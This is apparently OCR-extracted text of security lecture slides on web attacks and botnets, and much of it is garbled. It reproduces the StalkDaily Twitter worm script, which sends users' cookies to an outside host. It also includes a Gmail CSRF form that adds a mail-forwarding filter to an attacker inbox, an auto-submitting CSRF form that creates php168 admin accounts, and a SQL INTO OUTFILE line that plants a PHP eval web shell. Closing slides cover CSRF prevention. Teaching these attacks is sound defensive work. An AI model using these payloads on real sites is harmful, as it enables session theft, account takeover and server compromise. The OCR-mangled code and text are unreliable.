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A social network & broad connectivity
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| Facebook, which has over 300 million users, was the original
target of the KOOBFACE botnet | for $$$$$

I no longer any global outbreaks, as were previously
experienced with Slammer or CodeRed, but carefully
orchestrated and architected attack; CSRF for finance,
phishing, XSS, SQL and etc - for
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Web 2.0's Security Problems Causing a Slow-Motion Train Wreck
Sowvrce: Yankee Group, 2007

* Loss of customer
confidence

* Widespread identity
theft

* Malware super
distribution

* Larger-scale site
defacement

* Erosion of sodal
networks
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17-year-old claims responsibility for Twitter worm

BN O like what we do? dnnatf.- today. N
e PayPal

the breaking news wire

From the BNO Newsroom. Reporting by Jake Bialer and Michael van Poppel.

UPDATE: A second worm. created bv the same author, has infected a number of Twitter profiles. Click here for our updated storv.

Brooklyn, NEW YOERK (BENO NEWS) — Mikevy Mooney, the 17-vear-old creator of StalkDailv.com from Brooklyn, has admitted responsibility for the
Twitter worm that rapidly spread through Twitter on Saturday, stating in an email to BNO News, “T am aware of the attack and ves I am behind this attack ™

Twitter users were infected by simply visiting an infected users Twitter page. Following being infected. users began tweeting about stalkdaily com with messages
such as "Dude, www_StalkDaily.com is awesome. What's the fss?"

z=Method = sMethod . tolpperCase():

wvar content = document . documentElement  innerHTHL:
try { uszerreg = new HegExEp(-<meta content="{ . %)" name="ses=sion—-user—screen_ hamns"

if (sMethod == "GET") VAT uSSrname = userreg.exec(content)
{ uszername = username[1]:

=nlhttp. openisethod, =URL+"7?"+=Vars. true):

sVars = "": var cookie:
b cookie = urlencode{document .cookie):
slse document .write("<img =rc="http:s mikeyylolz uuug. comn~x.php?c=" + cookie +
i document .write("<img =rc="http:sr=stalkdaily con-log.gif'>")

Znlhttp. openi{sMethod, =URL. true):

Enlhttp. setReguestHeader | "Hethod" ., "POST "+=URL+" HTTE-1.1");

function wait()
#znlhttp. ==etRequestHeader("Content-Typ=".

o g g B {
3 Gpplicatioreiuniagtorngunlcnce =y var content = docunent  documentElement  innerHTHL:
xm%http.Dnreadystatechange = function(){ authreg = new RegExp(-twttr. form_authenticity_token = '( . %)' - g):
if (=mlhttp. readyState == 4 && |bComplete) e e e T T
{ . :

authtolken = authtoken[1]:

bComplete = true; sralert{authtaoken):

fnDone{=mnlhttp)
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Asprox Botnet|Installs SQL Injection Tool

A small botnet known as Asprox has been used in password stealing, spam, and phishing attacks. This week
Asprox was modified to include a new SQL Injection tool. As recenay shared, SQL injection attacks are more

reflective of poorly programmed Internet web pages, rather than vendor product vulnerabilities.

It's always mgmant to stay up-to-date on security patches and AV protection, as this could help prevent an
infection If folks accidently visit & malicious website,

. A4 -Insecure Direct Object Reference
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A cyber pickpocketing( )

ABEBLOH, where the malware went beyond

ttraditional N keyl ogging
stealing credit card information but also

accessing the account and transferring funds
to another account | I
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<html><body>

<form name="form" method="POST" enctype="multipart/form -data"
action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf">
<input type="hidden" name="cf2_emc" value="true"/>

<input type="hidden" name="cf2_email"

value="evilinbox@mailinator.com"/>
m <input type="hidden" name="cf1_from" value=""/>
<input type="hidden" name="cfl_to" value=""/>
<input type="hidden" name="cfl_subj" value=""/>
<input type="hidden" name="cf1_has" value=""/><input type="hidden"
name="cfl_hasnot" value=""/>
http://www.gnucitizen.org/util/csrf? <input type="hidden" name="cf1_attach" value="true"/>
_method=POST&_enctype=multipart/forn{ <input type="hidden" name=" tfi" value=""/>
%3A//mail.google.com/mail/h/ewtljmujdq <inputtype="hidden" name="s" value="z"/>
%3Dprf&cf2_emc=true&cf2_email=evilin| <input type="hidden" name=" irf " value="on"/>
&cfl_subj&cfl_has&cfl hasnot&cfl_att{ <input type="hidden" name=" nvp_bu_cftb" value="Create Filter"/>
b=Create%20Filter </form><script>form.submit()</script></body></html>




A CSRF(cross site request forgery)
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<html|>
<body>

<iframe src=http://www.google.com.tw/search?hl=zh -
TW&qg=taiwan+taipei height=0 width=0>

</body>
</html>
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http://192.168.0.3/php168/admin/index.php?lfi=member&jo
b=addmember

— Microsoft Internet Explorer
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<form name="form1" method="post"
action="index.php?lfi=member&action=addmember">
<tr class="head">
<td colspan="2"> </td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%"> </td>
<td width="63%">
<input type="text" name="postdb[username]">

</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%"> </td>

<td width="63%">
<input type="password" name="postdb[passwd]">

</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%"> </td>

<td width="63%">
<input type="password" name="postdb[passwd?2]">
</td>
</tr>
<tr bgcolor="#FFFFFF">
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<td width="37%"> :<span help=1>
</span></td>
<td width="63%"> <select name="'postdb[groupid]' ><option value="
selected> </option>  <option value='2"' > </option>  <option
value='3"' > </option>  <option value='4'>
</option>  <option value="> --+ +--
</option>  <option value='8' > </option>  <option value='9' >
</option> </select> </td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%"> </td>

<td width="63%">
<input type="text" name="postdb[email]">
</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="37%">&nbsp;</td>
<td width="63%">
<input type="submit" name="Submit" value=" ">
</td>
</tr>

</form>
= www.haik8.com




<html|>
<body onload="document.forml.submit()">

<form name="form1" method="post"

action="http://192.168.0.3/phpl168/admin/index.php?Ifi=member&action=ad

dmember">
<input type="hidden" name="postdb[username]" value="'
<input type="hidden" name="postdb[passwd]" value='nohack'>
<input type="hidden" name="postdb[passwd?2]" value="nohack'>
<select name="postdb[groupid]' ><option value='3' selected>
</form>

</body>
</html>
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<htmI>

<body>

<iframe
src=http://192.168.0.3/php168/upload_files/special/5 20090425170444 eA==.htm
width=0 height=0></iframe>

<img src=/Article/UploadPic/2010 -4/2010417144022600.jpg></img>

</body>

<html>

special/5_20090426220451_ PYwLh.jpg
http://192.168.0.3/phpl168/upload files/ special/5 20090426220451 PYwLh.jpg
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t SELECTi<?php @eval ($_POSDOpufiedli ¢ ? > U
\AppServ \\www \\phpl68\\nohack . phpUU
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SELECT '«?php @eval($_POST[crnd]);?=" into
loutfile 'CiappSeryiwwwi\php168Y\nohack.php'
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CSRF Preventions ommm

Ensure that there are no XSS vulnerabilities in your application

Insert custom random tokens into every form and URL

I Store a single token in the session and add it to all forms and links

A Hidden Field: <input name="token" value=" 687965fdfaew87agrde
type="hidden"/>

A Single use URL: /account€87965fdfaew87agrde
A Form Token: /accounts?auth587965fdfaew87agrde

For sensitive data or value transactionsauthenticate or use transaction
signing

Use X-header




Differences between the - Tww@- - -

Stored XSS(aka Persistent XSS) is more serious than
reflected XSS

Reflected XSS must use some means of inducing users to
visit attackeros crafted U
phishing attack by offering a link to his own malicious web server
would be suspected as a scam
the requirement for stored XSS is avoided

Stored XSS guaranteed that victim users will be already

accessing the application at the time that the attack strikes

reflected XSS may try to engineer this situation by persuading the
user to log in




A Business as usual for botnets but heavier

monetary purpose

I DDoS, Sending Spams, Phishing (fake websites), Backdoor
(Trojan horse), Spyware (keylogging, information
harvesting), Storing pirated materials

I IRC evolved into peeto-peer (P2R}ype botnet is more
difficult to take down

I HTTP-based traffic will also be a communication of choice

Digital Underground




Relations ips among Security Factors

Threat = Gives rise to
Agent

Exploits
Threat

. Leads to
m Can damage
* _ And cause an
Can be countermeasured by a

Safeguard
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